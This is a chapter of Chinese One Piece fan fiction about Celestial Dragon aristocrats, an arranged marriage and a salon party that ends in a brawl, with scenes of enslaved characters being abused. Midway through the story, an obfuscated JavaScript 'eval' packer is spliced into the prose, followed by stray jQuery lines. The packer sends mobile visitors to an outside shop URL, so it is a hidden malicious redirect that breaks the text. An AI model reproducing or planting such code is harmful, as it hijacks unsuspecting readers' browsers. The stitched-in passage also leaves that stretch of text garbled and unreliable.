这场天龙人的婚礼,就在整个世界的贵族圈子里掀起了不小的波澜。
报纸上所描绘的玫瑰花、红宝石、美丽的新郎还有遍地黄金和各种珍宝交织的婚礼,它拥有贵族小姐们所梦寐以求的一切,这简直就是女孩的睡前童话。
酷极了。
这比她的兄弟姐妹们玩弄奴隶时搞出的创新点子还要酷。
“所以那个传闻中幸运儿的新娘是谁?”
“是谢泼德家的?”
“她到底是谁?”罗兹瓦德家的长女,夏露莉雅宫不高兴的追问着妈妈。
“哦,亲爱的宝贝,是玛莉娜,不过你应该叫她玛莉娜夫人。”
妈妈郑重其事的给她声明。
夏露莉雅宫才露出微笑:“我想见见她。”
妈妈:“当然,刚好这位夫人要办一场沙龙宴会,她给我们家也递来了请柬,或许你明天就能见到她了。”
“晚安,宝贝。”
“晚安!妈妈。”
夏露莉雅宫闭上眼睛,手指却不停的缠弄着金色的头发丝。
谢泼德·玛莉娜吗?
名字很耳熟,就好像从前她听说过这位夫人,不止如此,应该在哪个场合见过。
在圣地,她偶尔听到其它家族的丑东西们描述过,这位费加兰德家族新任的女主人,她柔弱美丽,像温室里的花朵。
肤色白皙,眉眼生得格外动人,连说话的语调都轻轻柔柔,仿若稍稍一用力就会碎裂的瓷娃娃。
圣地里,人人都说费加兰德家是娶回了一件精致易碎的珍宝。
夏露莉雅宫觉得自己并不嫉妒她,说得谁又不是高贵的天龙人殿下呢?
她只是带着孩子式的好奇去探寻所遇到的新奇的一切,不愿落伍于家族里的任何一个兄弟姐妹,无论是在香波地购卖独一无二的奢侈品,无论还是拍买种族超级稀有的奴隶……在各方面上,她都热衷于与别人争个先后高低。
当然,前提这个别人得和她一样的身份才行。
下界的那些贵族们太拉低她的档次了,以为单单一个小小贵族的头衔,便能够与罗兹瓦德家的殿下相提并论吗?
不过是稍大些的蝼蚁罢了。
这群毫无新意、品味拙劣像是二手市场卖不出去的赝品们,争先恐后凑上来巴结逢迎的模样,真是有够倒胃口的,夏露莉雅宫嫌恶地皱起眉头,
妈妈说得对,出去戴上泡泡罩是一个正确的选择,下界人身上飘来的气息,都玷污了她在圣地洁净的空气。
可待在圣地实在是太无趣了,感觉做什么都提不起任何的兴趣。
包括前几天妈妈给她买的生日礼物。
三个奴隶女孩。
夏露莉雅宫兴致依旧不高,但几个躲在笼子角落的小奴隶瑟瑟发抖的样子,和宠物一样很可爱,莫名其妙有了一种想要用开水烫死她们的冲动,可妈妈一定会教训她说没有一点正经家族继承人的模样。
正经?妈妈有时候太过于小家子气了,可能是因为妈妈的家族是从下界爬上来的原因,尽管夏露莉雅宫会被堂亲们嘲笑……不懂事的时候甚至于她会怨恨起她的创生者,可最终却是爱大过恨。
因为她是如此的高傲和自信。
因为她也是如此的确信,妈妈在她和哥哥两个孩子中间最爱的是她夏露莉雅,而夏露莉雅最爱的也是妈妈。
妈妈的爱她全部要,家族的一切她全部继承,包括头脑简单四肢发达的哥哥。
就如同太阳永远从东边出来,世界贵族永远是世界贵族,这些是世界上最寻常不过的道理。
夏露莉雅宫照样不还是罗兹瓦德家最优秀的继承人,妈妈照样不还是统领罗兹瓦德家的女主人。
只有眼界狭隘的蠢货,才会用嘲笑掩饰自身的匮乏。
她昂起下巴,顿时心里勾勒出了大约十几种玩弄的画面。
最终选定了让她们随机吃下恶魔果实。
哥哥查尔罗斯圣曾细致入微的描述过它的味道,如同粪便,难以下咽。
描述得糟糕极了,她无语地翻了一个白眼,都说过了,哥哥你和唐吉诃德家的坏家伙来往不要太密切,看看吧,
笨就算了,好歹罗兹瓦德家的财富足够养得起几十个挥霍无度的查尔罗斯圣,和别人学坏了,现在是又笨又坏,听起来,心酸得像个想使坏的阿尔茨海默症患者,结果下一秒就忘了要干什么。
咦?她为什么会冒出奇怪的词语?
侍女从家族的收藏室里拿出几颗恶魔果实。
外表看着倒像是普通的水果,光是那布满螺旋的诡异花纹,夏露莉雅宫看得头昏脑胀,仿佛随时随地都在旋转,让人沉陷下去。
名副其实,恶魔一般的果实。
那这几个奴隶吃了会有什么奇怪的能力呢?
一种新奇的开盲盒式玩法,夏露莉雅宫用最近香波地新学到的词语去描绘它。
“看起来你们很姐妹情深呢,真是可爱极了,知道恶魔果实吗?”
“给我吃了它!”
夏露莉雅宫冷漠无情地命令着她们。
然后,那几个蛇人姐妹一脸屈辱的吃了恶魔果实。
“喂,快展现出来你们的能力!”她兴致勃勃地欣赏对方的脸色痛苦到变形的滑稽模样。
“……”
在看了几个奴隶的能力后,夏露莉雅宫大失所望。
“一点意思都没有,还不如哥哥养的奴隶。”
啧,无趣极了。
还可以找点什么乐子呢?
直到在报纸上。
不,准确一点来说是妈妈喜欢给她说一些时兴的夹杂着八卦的故事,比如说最近话题热度高的婚礼。
这点让夏露莉雅宫注意到了玛莉娜。
同一个圣地不同的圈子,夏露莉雅和玛莉娜两个人天龙人从来都是毫无交集的平行线。
明天的沙龙晚会是什么样子呢?
各式各样的稀有种族奴隶?还是琳琅满目的珍珠宝石?亦或者,是连大海彼岸都难得一见的名贵美男?是梦幻的童话?还是权力的游戏?
所有下界求之不得的东西,在玛丽乔亚的沙龙上,仅仅只是用来消磨时光的点缀。
夏露莉雅宫如此期待着,她尽情地去发挥自己的想象。
但愿这位玛莉娜夫人不要让她失望。
许是想太多了,睡不着。
她又在脑海里描摹着夫人的几种模样,或者是迫于圣地的各种规矩,处处谨小慎微,一举一动都顺着家族的期待;又或者仗着丈夫的滔天权势,锋芒毕露,被家人宠成的性子毫无收敛。
她猜不透,心底那份猫咪般的好奇越发浓重。
……她睡着了。
当清晨宫殿笼子里豢养的名贵乌儿唱起歌来的时候,夏露莉雅宫第一时间睁开眼睛。
阳光穿过宫殿的彩绘玻璃窗,碎成斑斓的光斑在地面上簇拥成一团团梦幻的花苞。
光着脚踩在冰凉的地板上。
她仔细地在挑选着衣服。
这件穿过了,不行,妈妈怎么没吩咐侍女给她丢掉?
走到另外一个衣帽间,果然,妈妈给她重新换了一堆衣裙,是时兴、合乎她品味的洛可可风礼裙。
站在镜子前。
很美!
她夏露莉雅宫天生丽质啊。
她得意洋洋地走出去。
妈妈:“宝贝,早上好,你今天美得像小天使,不愧是妈妈的心肝儿,先把早点吃了我们过半个小时出发。”
夏露莉雅宫:“我知道,妈妈,我得先准备一些东西。”
妈妈:“去吧,我在家门口等你。”
夏露莉雅吃完了桌上的小半盘糕点,便提着裙摆转身离开。
宫殿侧厅,关押玩物的隔间半掩着门,传来一些细微的声音。
女孩们的脖颈上套着奴隶项圈。
分别是黑色、墨绿、橘红,这三个毛茸茸的脑袋蹭在一起,中间的那个女孩容颜出挑得就连见惯美女的圣地王族们都要侧目。
那便是罗兹瓦德夫人送给长女的生日玩物——奴隶三姐妹。
她们被迫关押在此,随时随地要供给天龙人取乐表演。
汉库克垂着眼,长长的睫毛掩住眼底疲惫的乌青……还有恨意和悔意,恨的是天龙人竟敢如此对待她们三姐妹,悔的是她不应该临时起意带着两个妹妹出海。
现在想在多又能怎么样?
桑达索尼亚用只有姐妹三人能够听见的音量,她很小声,“姐姐……”
汉库克摇了摇头,头转动的弧度很小,阻止妹妹继续说下去。
眼下,除了忍耐,她们什么也做不了。
门外传来侍从靴子踩踏的声音,一阵乱七八糟过后,大门开了,那个玩弄她们三个姐妹的声音随之传来。
“瞧瞧这可怜样,哪里来的三个脏兮兮的小老鼠?”
夏露莉雅宫歪着头。
一身极致夸张到华丽的礼裙曳在地面,珍珠手套衬得她的皮肤苍白像个冰冷的魔鬼。
“最近你们的表演很不错,我可是鲜少给奴隶一个优秀的评价标准欸阿玛斯~”
她居高临下地看着三张姣好的面容,心情好的时候会习惯说话方式总会带着一些奇怪的后缀音,“今天的沙龙你们表现好点,别摆出这副死气沉沉的模样,到时候拿出点样子来取悦在场的诸位大人。”
“记得换上好看的衣服。”
她可不想因为别人抓着这点不放,嘲笑她连个供乐的奴隶都能养得那么寒酸腌臜,那不是去表演,那是去当一个被其他人看笑话的小丑。
对其他人是喜剧,对当小丑的人来说可是家族莫大的耻辱和悲剧。
锁链在少女们的手腕脚踝碰撞,声音清脆。
汉库克的唇瓣抿成一道无力而又苍白的直线,心底的屈辱如袭卷陆地的狂风,恨不得撕碎所有,
令人作呕的天龙人!
她捏紧拳头。
这一次,她学聪明了。前几次反抗换来的从来是面前高高在上的类人生物变本加厉的折磨。
伤痛还残留在皮肉的回忆里,她清楚的意识到还会连累桑达索尼亚和玛丽哥鲁德一同受苦。
一旁的侍从上前,粗鲁地拽动锁链。
金属链条哗啦啦作响,勒得脖颈与手腕生疼,他毫不客气地催促她们起身。
“快点!别磨磨蹭蹭。”
绳子套在三姐妹脖子上的项圈拉环里,像一只只长毛小畜生一样拉了出来。
夏露莉雅宫站在不远处,抱着看热闹的心态望着这一幕,她怎么可能看不出那副顺从的皮囊下是翻腾的仇恨,在她眼里,这不过是玩物不甘的小情绪罢了。
如此弱小者的愤怒,如此徒劳者的挣扎,真是可爱啊,可爱得让她回忆起儿时在她手里挣扎的雀乌儿,羽翼慌乱拍打掌心,拼命地想要挣脱禁锢,无力地扑腾,发出凄厉般啼哭的鸣叫,是那么的悦耳动听!
“走吧!”
一群人,夏露莉雅宫浩浩荡荡地帶着十几个侍从和奴隶。
妈妈:“上车吧,宝贝,现在阳光可真明媚。”
夏露莉雅宫:“当然,妈妈。”
*
费加兰德的宫殿。
宽阔的台阶一层层向上,两边肃立着十几个卫兵。
夏姆洛克向最高一层阶台走去,披风斜挎在肩上,暗金色的镶边随着步履的晃荡簌簌作响。
地面映出他细长的影子,四周过于宽阔,反倒衬得男人有几分单薄。
莫名其妙的烦躁、突如其来的烦躁,让他绮丽的容颜上带着几分无助的颓废感。
卫兵们举起手,齐声喝道:“长官好!”
夏姆洛克淡淡回应,他脱下纯白的珍丝手套,“夫人最近怎么样了?”
为首的卫兵长连忙理正头上略微歪斜的帽子,他神色带上几分为难,斟酌了片刻,才恭谨地回答长官的话:“夫人说她要办一些重要的事,叫我们不要过多打扰。”
风卷动他肩头斜搭的披风。
夏姆洛克眉间那一点尚未褪去的郁色又加重了几分。
就在前天,夫妻两人为一些小事闹得不可开交。
他很清楚玛莉娜的性子,看着外表柔和温婉,可一旦执拗起来,就算有十个夏姆洛克忙成热锅上的蚂蚁也束手无策。那天吵完之后,两个人便刻意疏远彼此。
这个男人第一次觉得自己家有些大了,明明同住一片屋檐下,却很少碰面。
他过几天就要离开这里,奔赴神之骑士长达半年的选拔,明明余下可以相伴的时日已经寥寥无几,怎么会吵架呢?
那天争执的起因,现在回头去看,不过一桩微不足道的小事。
莉娜只不过想去外界而已。
可是,下界那么肮脏。
在夏姆洛克从小到大被灌输的认知里,下界的黑色土地上充斥着粗鄙的生灵,遍地是厮杀、苦难与不堪,那里有海盗劫掠、有战火蔓延、有人心狡诈叵测,处处都藏着让他惊心胆战的危险。
身为他的妻子,她本该安稳待在玛丽乔亚这片神佑的净土,做费加兰德精心呵护的珍宝,在他身下承欢,同他嬉戏玩闹。
……就应该的,那么做上一辈子恩爱的夫妻。
殿里的长明灯惶恐不安地燃着,地面浮起一层浅薄的金辉,把男人的红色头发照得灼灼耀眼。
可这光亮终究是浮在表面,却驱不散古老墙壁里的角落带来的沉滞阴影,那些阴影厚沉地窝在那里,像积了几代都挪不开的寒凉。
夏姆洛克的脸色晦暗不明。
暖金色的灯火一半落在他俊美的侧脸,另一半陷进浓重的暗处,将他的神情切割得模模糊糊。
于是,男人便成了半明半暗的一幅旧油画,悲喜都分辨不清。
他一步一步走进去。
一重一重厚重的帷幔垂落下来,层层叠叠,将大海、长风,连同凡世那点气息,一并隔绝在了外头。
玛莉娜在唤着侍女装扮宫殿。
她在晚上的沙龙晚会做准备。
主题是什么呢?
她作为嫁入顶级天龙人家族的费加兰德夫人,这场沙龙,便是她正式在圣地社交圈站稳脚跟的亮相。
军子宫建议她说,是别人来讨好、谄媚她。
敷衍一点也是可以的,那些夫人很多都是下界爬上的女人,要么就是奴隶,女人语气直白,不带半分客套的虚情假意。
“你如今是费加兰德的女主人。该俯身逢迎的是她们,不是你。”军子宫蒙着下半张脸,一身骑士劲装,身上不见冗杂的珠宝首饰,“不少凑上来参加的贵妇人,其基本就卑微,有的凭借美貌从下界攀上男人的床榻,有的从前便是奴隶,靠着运气脱去镣铐,才换得如今的身份。”
她的口吻没有鄙夷,这在圣地一直是常态,大部分女天龙人对于同族的男人都是不屑一顾。
除非是家族里的核心继承人。
这部分人少之又少,但他们都是圣地的中心,资源的天平永远都是向他们倾斜。
剩下的天龙人,拿来壮大家族、延续血脉是最好不过。他们蠢笨,贪图享乐,但圣地有钱,养得起那么多宝宝猪,给予足够的财富与特权,任由他们沉溺欢愉,豢养奴隶,追逐玩乐,不必要求他们有多高明的头脑与手腕。
这就够了。
所以有婚约又能如何?一纸婚约,不过是家族利益缔结的纽带,捆得住身份,却捆不住人性的欲望。不妨碍男人们去收纳下界的美女,也不妨碍女人们去豢养容貌俊美的男奴。
女天龙人说,我同你们一般高贵,你们大腹便便头脑简单,和你们在一起简直就是人生的折磨!转头豢养起貌美男奴,求得片刻慰藉。
男天龙人对此也并不如何在意,他们依旧酷爱寻欢作乐,一心沉迷搜罗下界各色奴隶,或美女,或长像奇特,或能力稀罕。
共同的特点就是双方在世界各地极大地促进了奴隶贸易的猖獗。
圣地之内不少王族夫妻便是这般貌合神离。
明面上彼此厌弃,连多说几句话都觉得煎熬。
军子宫淡淡提起这一切。
这就是圣地日复一日上演的现实。
“所以莉娜你是幸运的。
而夏姆洛克是费加兰德的核心继承人,他身负重担,受严苛的规训,不会同那些纨绔子弟一般无度的纵欲。
你们的婚姻,固然有背负家族的责任,却不也不没必要落到那般互相厌弃、各行欢愉的境地。”
话虽如此,这份幸运也绝非情爱带来的馈赠。
玛莉娜垂了垂眼,视线落在地面如流水般晃荡的灯火光影上。
耳边还回荡着老师的告诫。
夏姆洛克,你可真行啊,军子宫都过来当情感调解员了。
只是想出去怎么了?十几年都裹缩在这片土地上,连说句话都要看对方的脸色。
这样的婚姻可笑至极。
她拥有很多回忆,一半是宫殿灯火里的权力博弈,金钱与奴隶的囚笼,珠宝堆案,奴仆环伺,旁人梦寐以求的地位,还有对生命轻贱的漠视。
另一半是大海上肆意的欢乐冒险,诗歌与飞乌的远方,咸湿的海风,海鸟突然掠过船舷时的尖叫,还有伙伴们的放声大笑。
玛莉娜觉得自己陷阱了一层又一层看不清的纱布里,两种截然不同的过往,在她的骨血里彼此拉扯。
“你在哭泣吗?莉娜。”
一个宽阔的、亲切的怀抱,有人从背后拢住了她,带有薄茧的手掌攀上她的腰枝。
是夏姆洛克。
他方才一路压在心底的烦躁、悔意,还有几分无措,全都显露出来。
他其实并没有看见泪水,只看见她眼尾泛红,睫毛轻轻颤动。
方才那番军子宫的谈话,还有两人前几日那场激烈的争执,沉甸甸横在二人中间。
外殿的音乐与人声隐约传来,沙龙的筹备已经接近尾声,不过多时宾客们大多都悉数登门。
可在此刻,周遭的喧嚣仿佛隔了一层厚厚的纱,只剩下他们两个人。
两颗受伤、年轻的心靠在一起,彼此依慰。
“是因为什么?还是……因为我。”夏姆洛克的声音着一丝不易察觉的难受,还有疲惫。
侍女忙碌的声响就在不远处,随时都会有下人路过撞见。
玛莉娜:“我没有哭。”
夏姆洛克:“还在为出下界那件事生气吗?再过几日,我就要动身前往神之骑士团。我不想,就这样带着这样的隔阂离开。”
他的头埋在妻子的肩上,声音闷闷的。
这样的话,长达半年的分别会从坚熬变成痛苦。
“选拔的日子枯燥又严苛。”他的气息拂过她后颈的头发,带着一点软弱,“原谅我吧,我的宝贝莉娜。”
别生气了。
宝贝?
夏姆你从哪里学来的肉麻话?萝西你到底在戏剧里加了多少料?
玛莉娜梗着个脖子,前进是不行,退后也是不行。
进退两难。
夏姆洛克的呼吸还落在颈边。
身后的男人还浑然不觉,手臂圈着她的腰,还在等着她一句软下来的答复。
她不敢大声说话,只能侧过半边脑袋:
“你这套话术是从不入流的戏剧里学的吧,宝贝?嗯啍。”
埋在她肩头的脑袋抬起来了少许,原本夏姆洛克满是期待的情绪,一下子掺杂上了几分窘迫。
他确实是记得戏剧男女主角亲密的桥段,偷偷记了两句,想着用来缓和二人之间紧绷的关系,哪里料到会被她当场戳穿。
耳尖有些泛红,他记得明明不是这样的,男主角不是就那样喊着搂着女主角,然后女主角兴高采烈地亲吻着男主角。
一切矛盾就此烟消云散。
夏姆洛克往后撤开一点距离,声音略有些干涩:“……呃。我以为,会有用。我以后绝对不会干涉你的任何决定,但你也要为我考虑一下,等我走了,你再出去,好吗?”
到时候他一定会安排很多很多的人手。
直到多到让他放心,不,这样还是不能够放心。
玛莉娜看着他这副模样,方才堵在心口的郁结,被这一出啼笑皆非的插曲冲淡了几分。
廊下的晚风撩动二人脚下的衣摆,外面的声音越来越清晰,流光从帷幔缝隙中源源不断淌出来,提醒着沙龙晚会已经近在眼前。
无数双圣地贵族的眼睛,正等着费加兰德夫妇登场。
玛莉娜沉默片刻。
“好。”她开口,声音平静,“我答应你,在你离开之前,我不会动身前往下界。”
夏姆洛克悬着的心放下一半,眉宇间的郁结散开不少。
整个人仿佛焕然一新。
远处,侍女细碎的脚步声愈来愈近,不敢高声惊扰,只在驻足停留,等候小主人的现身。
史黛拉:“主人,夏姆洛克大人,宾客大多已经悉数到场,晚宴已经准备妥当,诸位大人都在等候二位的露面。”
侍女垂着脑袋,恭谨地看着脚下的地面,不敢抬头窥探方才廊下二人之间暗流涌动的气氛。
这是主人和她丈夫的私事。
“知道了。”夏姆洛克的声音恢复了平日里的清冷,“我们一会儿便过去。”
史黛拉微微屈膝行礼,侧身退到一旁,伸手掀开帘子。
玛莉娜手臂递出。
夏姆洛克跟在身侧。
铺天盖地的乐声、酒香与人的谈笑声瞬间放大了好几陪。
火光密密匝匝,琉璃与珠宝反射出尖锐的光,这一殿的繁华,看上去何等圆满的珠光宝气,殊不知,裙裤底下,早就已经爬满看不见的龃龉与心事。
满殿的人一齐转过脸来,或好奇、或掂量、或揣测着流言,一丝丝,一缕缕,缠绕在二人身上。
“这样的俊男美女,简直就是圣地绝无仅有的天作之合呐。”
不知哪位贵妇先轻声叹出一句,话音混在管弦乐里,轻飘飘地漫开。
有人立刻响起几声附和的轻笑与赞叹。
……
人人脸上挂着客套温软的笑意,一口一句良缘佳偶。
哄得夏姆洛克心底不由地得意洋洋。
纵然他依旧维持着天龙人继承人那副高傲淡漠的面孔,脸绷得极其端正,不肯把欢喜明晃晃摆出来。
在玛莉娜的安排下,第一次应该隆重些,人与人之间,总要在谎言中夹杂着些许的真诚。
开场是舞会。
作为东家,她和夏姆洛克跳了第一场。
男人生得俊美非凡,女人容貌明艳动人。
他伸手揽住她的腰,握住她的手,踩着节拍回旋起舞。
夏露莉雅宫拍手赞叹。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900116|212244||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不愧是传闻中的费加兰德夫妇。
要是妈妈给她找的未婚夫也长这样就好了,可惜的是圣地没有多余的费加兰德了。
不对,她为什么会想到会有多余的费加兰德?
在她的直觉下,费加兰德家就好像天生少了一个人。
其实老费加兰德长得也不错,但人家估计看不上她这种乳臭未干的小丫头。
妈妈给她相看的,便是站在旁边里莫西弗家的麒麟戈姆圣。但夏露莉雅宫一度嫌弃他的生母是一只卑贱的鱼人奴隶。
至于她为什么知道?因为她比近亲结婚生下来的丑东西们聪明,他的外表不就是显而易见的事吗?
她不蠢也不傻,有时候还会钻研课本,一看他皮肤上的鳞片就属于母方那边的遗传,虽然不知道她一个天龙人为什么爱读书还懂点生物遗传学?
总觉得好像被人迫害过。
不过是靠着过人天赋,跨过血统非议成为家族继承人的杂种玩意。
怎配和她相提并论?
夏露莉雅宫眼底却满是毫不掩饰的鄙夷。
麒麟戈姆圣被这个家族里安排的未婚妻嫌弃得摸不着头脑,他能隐约嗅到那股不加遮掩的厌恶,却一时间想不透缘由。
家族对外把他生母的身世捂得密不透风,绝大多数王族都被蒙在鼓里,他不曾料到,夏露莉雅宫竟然知晓这个被竭力掩埋的秘密。
不过对方母亲的出身又是什么光明的好出身?
当时安排下来的时候,他还笑道,啧啧啧,家里面看不惯他的老头子不会是在借此暗暗地嘲讽他吧!
夏露莉雅宫:“夏姆洛克圣可真帅气!”
麒麟戈姆圣:“玛莉娜宫夫人可真美丽!”
说完之后,二人同时侧过头,目光对上,眼底皆是毫不掩饰地对彼此嫌弃。
直到玛莉娜和夏姆洛克停下。
她的视线突然汇集到一个天龙人少女的身上。
希拉?
若是没有看错的话,这姑娘的眉眼、轮廓,和希拉长得一模一样。
她的表情是很经典的那种踩到狗屎的恶心表情。
希拉不是还在投胎排队中吗?可系统的不可靠性让玛莉娜不能确定什么?
怀着此疑问?
她上前。
夏姆洛克按住她的手:“莉娜,你要做什么?接下来还要继续吗?”
玛莉娜:“不了,我有点累了,让客人们自行尽兴,宴会照常进行便是。”
夏姆洛克眉头微蹙,顺着她的视线望向角落里的麒麟戈姆圣,心底满是不解。
算得上是神选的竞争对手,连妻子也要跟他竞争吗?咋天还跟他吐槽家族里安排的未婚妻还挺合他胃口的,只不过人家可能看不上他……说那么多话是在迷惑我吗?看多了戏剧的男人此时嫉妒心上头。
他有他好看吗?
夏姆洛克有些委屈,但脚下的步子不停。
他和玛莉娜一同上前。
麒麟戈姆圣摇起杯子,跟夏姆洛克浅浅地打了个招乎。
夏姆洛克却整个人横在他面前,看起来很不好惹的样子。
他一只手搭在麒麟戈姆的肩上,余光全在妻子身上,人却不动声色地问道:“戈姆,最近练得怎么样?”
麒麟戈姆:“夏姆洛克,我不还是老样子嘛!不过要我说,你可算是有福气!”
他抬起下巴,朝玛莉娜离去的方向扬了扬眉毛,锋利的齿尖若隐若现。
“娶到了这般貌美的夫人,今夜的高光大半都落在你们夫妻俩身上。只是……你的夫人,好像对我的未婚妻格外感兴趣。”
貌美?
夏姆洛克皱了皱眉。
……
夏露莉雅宫抿起晚会上的酒,很浓郁的味道。
“玛莉娜夫人,你家的酒很不错哦,熟悉到让我想起了我的家庭医生,阿玛斯~”
连醉酒的样子都和希拉一模一样。
“我其实想送几个奴隶女孩给夫人你哦,妈妈嫌弃她们太低贱了,她们停在我马车那。”
玛莉娜:“奴隶女孩吗?到时候有空再说吧!”
她们四个人其实全靠希拉才能认识。一开始大家都是陌生人,希拉是薇芙的病人,是萝西的校友,她的游戏搭子。
不过她这幅什么都忘记的样子也是极其的正常,毕竟嘛,上辈子希拉是世界上罕见的基因突变的阿尔兹海默症重度患者,唯三能记得的事情估计就是抽卡游戏抽不出金、还有部分热血漫剧情和薇芙的遗传学博士毕业论文。
玛莉娜试探性说了一句,“希拉?”
夏露莉雅宫:“什么拉稀?我是罗兹瓦德家族的继承人夏露莉雅宫!”
玛莉娜微笑道:“你知道吗,你每次游戏卡池抽奖,三百抽才出金,而且还是保底?”
夏露莉雅宫脸上瞬间浮起一层扭曲痛苦的神色。
她听不懂“游戏”“卡池”这些词汇,可那句话仿佛直接戳进了她灵魂深处,是刻在命运里的记忆。
那是另一个世界的生话碎片。从前无数次抽卡,苦苦囤积资源,次次非酋,次次硬吃三百抽天井大保底,砸光全部家底,连想要的角色都拿不到,那种窒息、绝望,如同掏空了身体的一切,却只能被动等待的挫败感。
夏露莉雅宫喘了口气,眼神恍惚,不由得后退半步。
面前的女人身上的珠宝晃得人眼晕,她却没来由的一阵心力交瘁。
“……你,你究竟说了什么。”她声音发颤,看向玛莉娜,满是戒备与茫然。
这时夏姆洛克那边却传来了一阵躁动声。
……
夏姆洛克:“你是不是在觊觎我的妻子?”
什么?
这一句质问砸出来,麒麟戈姆圣都懵圈了。
麒麟戈姆圣完全没想到无端会被扣上这么一顶帽子,锋利的齿尖下意识露了出来。
他难以置信:“夏姆洛克你究竟在想些什么,你的脑子看下界的戏剧看坏了吧?你清醒一点吧?我未来的妻子在那呢?”
他抬手,手指朝旁边一指,本意是示意站在不远处的夏露莉雅宫,指尖却阴差阳错,指向了玛莉娜的方向。
这一指,反倒愈发说不清了。
夏姆洛克面无表情。
周围围观看戏的天龙人发出一阵细碎的抽气声,不少人交头接耳,很多很多人的眼神变得耐人寻味起来。
麒麟戈姆自己也愣了一下,低头看了看自己伸出去的手,心里暗骂这该死的角度,他口齿就算再如何锋利清晰,不仅打不过小费加兰德,也不敢对他下重手。
有人爱的孩子和没人要的孩子,这其中的区别大到指尖中还有一片星系。
他慌忙调转胳膊,手指头才终于对准脸色尚且恍惚的夏露莉雅宫。
“搞错了!我说的是她,罗兹瓦德家那位!”麒麟戈姆圣眉头紧锁,语气颇为无奈。
夏姆洛克发出不明意味的嗤笑:“戈姆?你知道家妻善妒的意思吗?”
“你发烧了吗?”
麒麟戈姆圣使劲摇了摇夏姆洛克的肩膀,他其实更想用力摇他的红毛脑袋,看看有没有装满了下界的海水。
夏姆洛克却不慌不忙地解释道:“我家里面有位特别善良美丽的妻子和特别容易嫉妒的我,我的妻子好漂亮好可爱你知道吗?”
麒麟戈姆圣暗骂了一句神经病,舌头却和牙齿绞在了一起:“我知道……不!夏姆洛克,我什么不知道!”
“我听见了!”
夏姆洛克语气突如其来的温柔:“你知道!”
麒麟戈姆圣睁大了眼睛:“你疯了吗?我都说过了,我什么都不知道!”
夏姆洛克皮笑肉不笑:“你知道的话,你-就-死-定-了。”^V^
你说什么死定了。麒麟戈姆圣还来不及反应过来,夏姆洛克抡起拳头打向他的眼睛。
砰砰砰!几声闷响!
完全猝不及防的麒麟戈姆圣整个人被打得偏过头,鼻青脸肿的血肉模糊。
但他也是血气方刚的男人。
两个用剑的预备神之骑士开始迈距离肉搏,拳拳到位。
悠扬的乐曲还在机械性播放,一群贵妇人全部僵在原地,就那么震惊地看着两大家族的继承人在当众动手互殴。
气氛彻底失控。
不知是谁尖声喊了一句:“夏露莉雅宫晕倒了!”
两个打得火急火燎的男人才停下来。
罗兹瓦德夫人脸色惨白,疯了一般挤开人群冲上前,一把抱住软软瘫倒在地的女儿,凄厉的尖叫声响彻整个大厅:“我的宝贝!我的女儿!夫人,她到底是怎么了?!”
“……”
现场瞬间乱作一团。
宾客们惊慌逃窜、尖叫四起,卫兵们手足无措地冲进来想要维持秩序,却被慌乱的人群冲得东倒西歪。
好好的晚会被毁掉了。
玛莉娜从气定神闲到面无表情地解释:“罗兹瓦德夫人,你的女儿大概是喝酒喝醉了!”
“夏露莉雅,我的未婚妻?你到底是怎么了?”
一个被打得像猪头的男人像猹似的蹿了出来。
如果玛莉娜没记错的话,这不是带夏姆洛克去乱看东西的狐朋狗友之一麒麟戈姆圣吗?
此时,另外一个始作俑者也走了过来。
他的表情看上相当沮丧。
“莉娜,对不起,我和戈姆毁掉了你的晚会?”
玛莉娜:“夏姆,你为什么会和他打起来?”
夏姆洛克的脸色苍白:“因为……他说你的坏话!”他仿佛下一秒就要晕倒似的。
玛莉娜:“什么坏话?他骂我什么了?”
虽然麒麟戈姆平时拽眯日眼得像头脓包,但他对女性还是会维持基本的人性和礼貌。
“我……”
红毛脑袋一遥一晃,下一秒就晕在了地上。
玛莉娜看着地上人事不省的丈夫。
一时间,沙龙现场接连倒下两人。
夏露莉雅宫昏厥未醒,夏姆洛克圣紧随其后倒地不起。
玛莉娜扶住额头:“麒麟戈姆,你对夏姆洛克做了什么?”
满身是伤的麒麟戈姆圣捂着眼睛,“你脑子被夏姆洛克那个疯子传染了吗?”
两个人打架,一个人满身伤痕累累,另一个人脸色苍白却平安无事,孰坏孰演一眼见真假。
他都不知道夏姆洛克什么时候去戏剧院历练了一番,或者是那天耳濡目染的戏剧台词,简直就是天纵奇才。
费加兰德,求求你了。
你去加入神之骑士团,实在是屈才了。
惹不起还躲不起吗?
感谢骄纵的未婚妻,让他有了借口离开。
他抱起夏露莉雅宫匆匆忙忙连滚带爬的离开。
“麒麟戈姆,等等……我能照顾我的宝贝!”
罗兹瓦德夫人的手停在半空中,“真是一群让不省心的家伙!
玛莉娜夫人,不知道有句话当不当讲!”
玛莉娜:“罗兹瓦德夫人,你说吧?我不介意!”
“我虽然是下界上来的,但好歹都是贵族的人。”
罗兹瓦德夫人:“按照我以往的经验,举办晚会的话,女人就该和女人聚在一起,一旦有男人掺和进来,加上他们全都是一群不安分的东西,聚会变成斗欧实在太正常不过了。”